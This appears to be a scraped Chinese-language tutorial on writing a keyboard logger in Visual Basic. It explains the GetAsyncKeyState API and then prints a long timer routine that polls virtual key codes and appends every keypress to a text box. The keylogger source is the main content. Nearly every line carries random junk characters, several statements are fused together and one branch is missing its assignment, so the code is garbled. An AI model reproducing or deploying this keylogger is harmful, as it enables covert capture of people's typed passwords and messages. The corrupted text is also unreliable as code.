私塾学堂登录:VB编写键盘记录

来源：百度文库编辑：中财网时间：2024/05/05 07:29:32

这个程序主要是利用GetAsyncKeyState函数， NSxDCTw
使用GetAsyncKeyState可以获得键盘的动作。 alq>|,\x
GetAsyncKeyState函数根据虚拟键表判断按键的类型。 q k !Q2W
返回值为一个16位的二进值数，如果被按下则最高位为1， l lQ即返回-32767。下面是API函数及鼠标中左右键在虚拟键表中的定义： F35e/YfG
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer h5Z%|J>;0
好了，函数就先介绍这么多，下面开始动手实战了 DB?[h<^m
first,当然是创建窗口了 ]A_)&`"Cb
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在时间控件的Timer时间中定义检查按键类型，代码如下： &Dim AddKey M T{^=F ]
KeyResult = GetAsyncKeyState(13) '回车键 H1q>UU:
If KeyResult = -32767 Then or(Z-8a_
AddKey = "[ENTER]" br0gB3 r
GoTo KeyFound YRB,jwne
End If z<)?8tAgq
KeyResult = GetAsyncKeyState(17) 'Ctrl键 }n8,Ga%
If KeyResult = -32767 Then '?q|7[SU
AddKey = "[CTRL]" u0N1+-6kr+
GoTo KeyFound 'os-+m@
End If YsDn?pD@
KeyResult = GetAsyncKeyState(8) '退格键 ZJd1Lx
If KeyResult = -32767 Then M)Y`u
AddKey = "[BKSPACE]" Y]ZOvA5W
GoTo KeyFound 0gxbo
End If -aQkgkV;~
KeyResult = GetAsyncKeyState(9) :fo%)_Jc!
If KeyResult = -32767 Then ]w! x
AddKey = "[TAB]" |Q.t]TR'P
GoTo KeyFound 6Kg lp\2
End If s +^YGB
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KeyResult = GetAsyncKeyState(18) sl>4O]N
If KeyResult = -32767 Then eRv3qK{`
AddKey = "[ALT]" CQQX7Y\
GoTo KeyFound $]!uX&
End If @C7#xGD
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KeyResult = GetAsyncKeyState(19) vD^^0-Pk6
If KeyResult = -32767 Then 3Ud&B
AddKey = "[PAUSE]" ;"wU+
GoTo KeyFound u3w `(3{ <
End If {FteQ@(
VNx}ADXu]
KeyResult = GetAsyncKeyState(20) 9c46|
If KeyResult = -32767 Then ;9/6X#;$
AddKey = "[CAPS]" v5RSGoTo KeyFound (/Hq8o-Fw
End If l3)(aay!
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KeyResult = GetAsyncKeyState(27) JIjqGxR
If KeyResult = -32767 Then #$e~ o}(r
AddKey = "[ESC]" 76 #
GoTo KeyFound HRC5zEnd If so 3Kj6H
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KeyResult = GetAsyncKeyState(33) kS8srT /H
If KeyResult = -32767 Then 72@8M
AddKey = "[PGUP]" b=Zg1SqV
GoTo KeyFound -~p@o1k0
End If EX='\~Dw
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KeyResult = GetAsyncKeyState(34) eN,s#/ip]
If KeyResult = -32767 Then =uYSZR
AddKey = "[PGDN]" LGgEq -
GoTo KeyFound !3-mPG< ]
End If B@63=a*kG
R5H UgI
KeyResult = GetAsyncKeyState(35) !-|&
If KeyResult = -32767 Then /#G^?2o M
AddKey = "[END]" X6N^GoTo KeyFound IhJ _Yed
End If ^8 AV#a
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KeyResult = GetAsyncKeyState(36) #:"\6s
If KeyResult = -32767 Then #D .H2'_}
AddKey = "[HOME]" 0d9rJv}~
GoTo KeyFound F'C]OMBE
End If Yn'XSV|g
/:z}WAW
KeyResult = GetAsyncKeyState(44) &julw;E
If KeyResult = -32767 Then < ;Qle
AddKey = "[SYSRQ]" $*G]6s
GoTo KeyFound V. 1sb pI
End If :kOLiko!4>
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KeyResult = GetAsyncKeyState(45) GNZQj8
If KeyResult = -32767 Then G"O %u|7
AddKey = "[INS]" x|F6^d
GoTo KeyFound XFG]%y=/6
End If p!hewtb5
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KeyResult = GetAsyncKeyState(46) YV. *8'*
If KeyResult = -32767 Then +ulX(u(,
AddKey = "[DEL]" BXZ( %tnY
GoTo KeyFound FGy7KVR
End If M GN*i9CE
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KeyResult = GetAsyncKeyState(144) *h@nAB\3
If KeyResult = -32767 Then AY [7yPP
AddKey = "[NUM]" o! sxfJKl
GoTo KeyFound :2 QA#
End If xDRK^nmC
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KeyResult = GetAsyncKeyState(37) X H{5E4P
If KeyResult = -32767 Then k8Qv>z
AddKey = "[LEFT]" _^#PV}
GoTo KeyFound Wj8\~B=('
End If Vn=J$Uv0
@ U}fvdft
KeyResult = GetAsyncKeyState(38) D;BFl(l
If KeyResult = -32767 Then q'C'S#qqn
AddKey = "[UP]" 57K1e~^
GoTo KeyFound G5TdAW
End If %+o]1R
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KeyResult = GetAsyncKeyState(39) /3FC@?l w4
If KeyResult = -32767 Then b:Rl }"a
AddKey = "[RIGHT]" 8QFY:.h&
GoTo KeyFound @ mt v2P`
End If 4)v\Dc/9i
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KeyResult = GetAsyncKeyState(40) bL swq
If KeyResult = -32767 Then zVl(?b&CF
AddKey = "[DOWN]" { F. Ihw
GoTo KeyFound z4UeUVfZ}
End If )Je iTh^
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KeyResult = GetAsyncKeyState(112) 4V43(G
If KeyResult = -32767 Then BO/2kL8*
AddKey = "[F1]" al#yc
GoTo KeyFound JGGss5
End If UL"Jwq D
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KeyResult = GetAsyncKeyState(113) 5-=mtvA:
If KeyResult = -32767 Then t?YGGu^
AddKey = "[F2]" TO3Yz3+A
GoTo KeyFound RX7,z.9@'O
End If l$zo3[
/F/`?=1<$
KeyResult = GetAsyncKeyState(114) /PHktSG
If KeyResult = -32767 Then l ^\5Jr03
AddKey = "[F3]" iFS ?nZ~.
GoTo KeyFound S`"IM?
End If QFDjsd4
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KeyResult = GetAsyncKeyState(115) 3smcCQA%
If KeyResult = -32767 Then F4">go
AddKey = "[F4]" .\*\bvyCw
GoTo KeyFound 9dy"Y~c
End If 5vg@zH\z
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KeyResult = GetAsyncKeyState(116) LDwu?"P!
If KeyResult = -32767 Then ^N0hc!$
AddKey = "[F5]" gt{ei)2b
GoTo KeyFound %# J8cB
End If cs~ }k7><
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KeyResult = GetAsyncKeyState(117) %Ljc#AVg
If KeyResult = -32767 Then Tje =vI
AddKey = "[F6]" J"FKd3~:E
GoTo KeyFound Es[?yft2Q<
End If '2:Ily,S@
EUUj-.dEN
KeyResult = GetAsyncKeyState(118) v%86JUlK.
If KeyResult = -32767 Then AvP*p{we
AddKey = "[F7]" |~v($c
GoTo KeyFound |w /txn8G|
End If 3)42EM'9(
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KeyResult = GetAsyncKeyState(119) dpJi5fN
If KeyResult = -32767 Then 9c#9KCmc
AddKey = "[F8]" )bw>)&)b`
GoTo KeyFound ;#fB=[vl";
End If _Y\@{T;^Zb
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KeyResult = GetAsyncKeyState(120) ,FS iE\
If KeyResult = -32767 Then PX2Ejrwj
AddKey = "[F9]" N]+x@M @^3
GoTo KeyFound vlzjALy
End If JJ qX2B
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KeyResult = GetAsyncKeyState(121) HzH_5kVW
If KeyResult = -32767 Then ;M4N=G Wd4
AddKey = "[F10]" >+,1@R
GoTo KeyFound s/Q}fW$ex
End If 1T}|c;fc
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KeyResult = GetAsyncKeyState(122) d5^ipu
If KeyResult = -32767 Then '[\%P2c)Q
AddKey = "[F11]" >]C;sP
GoTo KeyFound :peBQ{bj
End If Kau*e8
8'g/WZY~~
KeyResult = GetAsyncKeyState(123) T("Fh}
If KeyResult = -32767 Then c%uhQ 62
AddKey = "[F12]" QW6k!ms$
GoTo KeyFound o/=K:5
End If Y>%A*|U%
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KeyResult = GetAsyncKeyState(124) fIf KeyResult = -32767 Then eTrGFe!8w
AddKey = "[F13]" Iun!r v
GoTo KeyFound 4eIu@ ";!
End If 06Uxd\E~
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KeyResult = GetAsyncKeyState(125) Saz+GQ G
If KeyResult = -32767 Then ^/g&Q
AddKey = "[F14]" hj4A&`2
GoTo KeyFound =1+I<Ljk
End If r-Dcc;+=Q
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KeyResult = GetAsyncKeyState(126) typ*.j[q
If KeyResult = -32767 Then \uanQ|Nu
AddKey = "[F15]" KJ pM?:
GoTo KeyFound W%1fm/ G0
End If c[",WB<9
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KeyResult = GetAsyncKeyState(127) }3?M0:
If KeyResult = -32767 Then Nw|Lrn*h!
AddKey = "[F16]" 4 6e;UUf!d
GoTo KeyFound )Ba^Igb}
End If ~:+g+Mf~[
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KeyResult = GetAsyncKeyState(32) I=3q#^}[
If KeyResult = -32767 Then h+$_:](PC
AddKey = " " q_oYI3
GoTo KeyFound ".w*_1G7U
End If "&2D6
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KeyResult = GetAsyncKeyState(186) ~ Q]B}qdm
If KeyResult = -32767 Then C ]r$
AddKey = ";" U7ajDw
GoTo KeyFound Pq_Il9
End If L)w& f
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KeyResult = GetAsyncKeyState(187) _;@kS<\N
If KeyResult = -32767 Then ' !_44
AddKey = "=" v4ueFEY
GoTo KeyFound 8KAyif@1::
End If Ak9W8Z}
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KeyResult = GetAsyncKeyState(188) zD?$O7 |ZK
If KeyResult = -32767 Then Ot,sMRk'
GoTo KeyFound zBoU;d%p>
End If 6l>G>)
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KeyResult = GetAsyncKeyState(189) Gu%`__
If KeyResult = -32767 Then aG" UV\
AddKey = "-" `w ~1
GoTo KeyFound @*c+`5)_
End If 7)a=B! 8M
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KeyResult = GetAsyncKeyState(190) &O%Kj8)
If KeyResult = -32767 Then v h%\ " h
AddKey = "." D&oC1
GoTo KeyFound /`'50C j
End If hwXp=not(
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KeyResult = GetAsyncKeyState(191) )*_YeT&w.
If KeyResult = -32767 Then v)pdm\P
AddKey = "/" '/ ,Tr12#D:
GoTo KeyFound )Z^( +
End If "~+K`*0r8
<KeyResult = GetAsyncKeyState(192) d>aZpJ[.
If KeyResult = -32767 Then =9)ypI-2
AddKey = "`" '` @TH \hr]
GoTo KeyFound SOUA,4
End If pH*L8tT
Z os~1N]3
'----------NUM PAD "7aFVf
KeyResult = GetAsyncKeyState(96) M9N|Ql
If KeyResult = -32767 Then sVC5AddKey = "0" SMhT>dB
GoTo KeyFound [lnN~#(Y
End If 3!}#@<j
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KeyResult = GetAsyncKeyState(97) uUJ2d84tV
If KeyResult = -32767 Then =uvv|@Z
AddKey = "1" \UE9Ff+{
GoTo KeyFound pkT a^I
End If \l[5U3{
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C qxP@
KeyResult = GetAsyncKeyState(98) z* `81
If KeyResult = -32767 Then oZ=e/\[K
AddKey = "2" J7$=f~$
GoTo KeyFound %] Bb;0G
End If T JVNR_x
C {'c_wX
KeyResult = GetAsyncKeyState(99) ``Nj Nd
If KeyResult = -32767 Then ~{N|("nB
AddKey = "3" 10DS
GoTo KeyFound g$:2c7uL
End If 6znm?s@~
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KeyResult = GetAsyncKeyState(100) Pq`4Y K
If KeyResult = -32767 Then d }]b
AddKey = "4" 7kb`o y;(^
GoTo KeyFound %+'&$
End If ;DGWUK.U[H
vi=yR
KeyResult = GetAsyncKeyState(101) sS0psw1
If KeyResult = -32767 Then |W::\yu6
AddKey = "5" O35f5Kz
GoTo KeyFound $)uQ%/DH>
End If <Q8bn?Z
'版权所有:教程中国 }\irr9,
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KeyResult = GetAsyncKeyState(102) kBT cN D|
If KeyResult = -32767 Then LRmO6>y
AddKey = "6" >B9rr0d0
GoTo KeyFound QO%LSRw
End If X(1.Hjh
iKeyResult = GetAsyncKeyState(103) Z BYmAD
If KeyResult = -32767 Then cbIW>IbM
AddKey = "7" [;b9'7j'
GoTo KeyFound /)G9w]|T
End If 7,jqA"9
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x 1 _(j
KeyResult = GetAsyncKeyState(104) 'dg OE
If KeyResult = -32767 Then O=mJ8W@
AddKey = "8" ;xRyONt
GoTo KeyFound K>q,?x b
End If 9*x9sfCv9
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KeyResult = GetAsyncKeyState(105) leiza?[
If KeyResult = -32767 Then 8?(4E 'vf
AddKey = "9" 5yQgGd)
GoTo KeyFound ik]UzB
End If oi!E v_h
9K&b1O@Aj
`zvYuKQ.}
KeyResult = GetAsyncKeyState(106) dW=]|t&
If KeyResult = -32767 Then r9QNE>UG
AddKey = "*" 1b't"i M
GoTo KeyFound $DQMN
End If :8rqTBa`
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KeyResult = GetAsyncKeyState(107) U2h?l `nP
If KeyResult = -32767 Then sQ_{zOUPh
AddKey = "+" S2Wxf>b t2
GoTo KeyFound EBn7waBS
End If hxv/285B
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KeyResult = GetAsyncKeyState(108) _[.`QW~
If KeyResult = -32767 Then 8L&#<Ol
AddKey = "[ENTER]" GB{%4)%6
GoTo KeyFound {?t=*l\S{w
End If \Q & Kd|
T%:}/@
KeyResult = GetAsyncKeyState(109) 1_*ct=g9
If KeyResult = -32767 Then `?La
AddKey = "-" pE`BB{[@
GoTo KeyFound Q.!D2RZc
End If p! Hpq W
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KeyResult = GetAsyncKeyState(110) |J8c|h<
If KeyResult = -32767 Then -l^u1z
AddKey = "." /9i2@#J}W1
GoTo KeyFound l.FkX
End If g_-Y- .M
sN;xHTY
KeyResult = GetAsyncKeyState(2) V:yia^1
If KeyResult = -32767 Then 0>>tdd7
AddKey = "/" 7hQrL+%q8
GoTo KeyFound "*<9)vQ6|
End If Lxs
g&X$)V4C
KeyResult = GetAsyncKeyState(220) K oo%mr
If KeyResult = -32767 Then [>v.#:YM^
AddKey = "\" 8L^5bJ
GoTo KeyFound 0]fzjiaGt
End If 4Y;z46yM%
A+_361KH
KeyResult = GetAsyncKeyState(222) COZ<^*=A#p
If KeyResult = -32767 Then t*iKkV^aE
AddKey = "'" Mnc9l ^
GoTo KeyFound wL\OAM6R
End If `$Z:j;F
a~>+I~^K5q
KeyResult = GetAsyncKeyState(221) j KGfm9|zj
If KeyResult = -32767 Then &gR)Y3
AddKey = "]" 49W@?: b
*c3(,Bmw
AY<(`J{
GoTo KeyFound x-1RmL_%
End If ]?rVram;z
C-u'Me)H
KeyResult = GetAsyncKeyState(219) H65><38X/
If KeyResult = -32767 Then ]{ ^'{z$i
AddKey = "[" K2|2Ks_CS
GoTo KeyFound 69N/_V
End If zZp0g^;.?
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KeyResult = GetAsyncKeyState(16) 'shift键 [J{\Ke0If KeyResult = -32767 And TimeOut = 0 Then n/9.;9b$I
AddKey = "[SHIFT]" 8z1#Q#5
LastKey = AddKey GBeWF-`B
TimeOut = 1 -+y lJo[D
GoTo KeyFound 1V ,Mk#_
End If *yl?M<28
<$z6:4uN_
KeyLoop = 41 X<8?>#
}Wlm#t
Do Until KeyLoop = 256 ' 显示其他键 {'#1do}{
KeyResult = GetAsyncKeyState(KeyLoop) :Oiz|b(
If KeyResult = -32767 Then Text1.Text = Text1.Text + Chr(KeyLoop) Ah 2*7@U
KeyLoop = KeyLoop + 1 Q HU|aC{r
Loop )fy-]Ky *
LastKey = AddKey /O[<"Wcz
Exit Sub ~ k"r
KeyFound: '显示键的信息 B%7Az!GX
J tvZ~s
Text1 = Text1 & AddKey 9\'JtZO
End Sub O*7vmPy
上面的（）里面的数字实际是就是那些键的Ascii码，比如13就代表回车，17代表Ctrl，…… Ko|m<;LX
由于数目太多，一一列举不方便 lfw|Q@
下面是其他的事件 w!dgIS$
Private Sub Timer2_Timer() 38GkV.e}$
TimeOut = 0 l"zA~W/
End Sub [I?[N.v
目的是随时刷新清空 DaS~bweMw
记录键盘输入后就准备你自己所设定的程序了。。。 r.q*S4IS.m
:5sjF:@
[g bFs-B2/
例如：按ＥＮＴＥＲ　 iE EP~
当ＶＢ检测到信息后执行相应的操作

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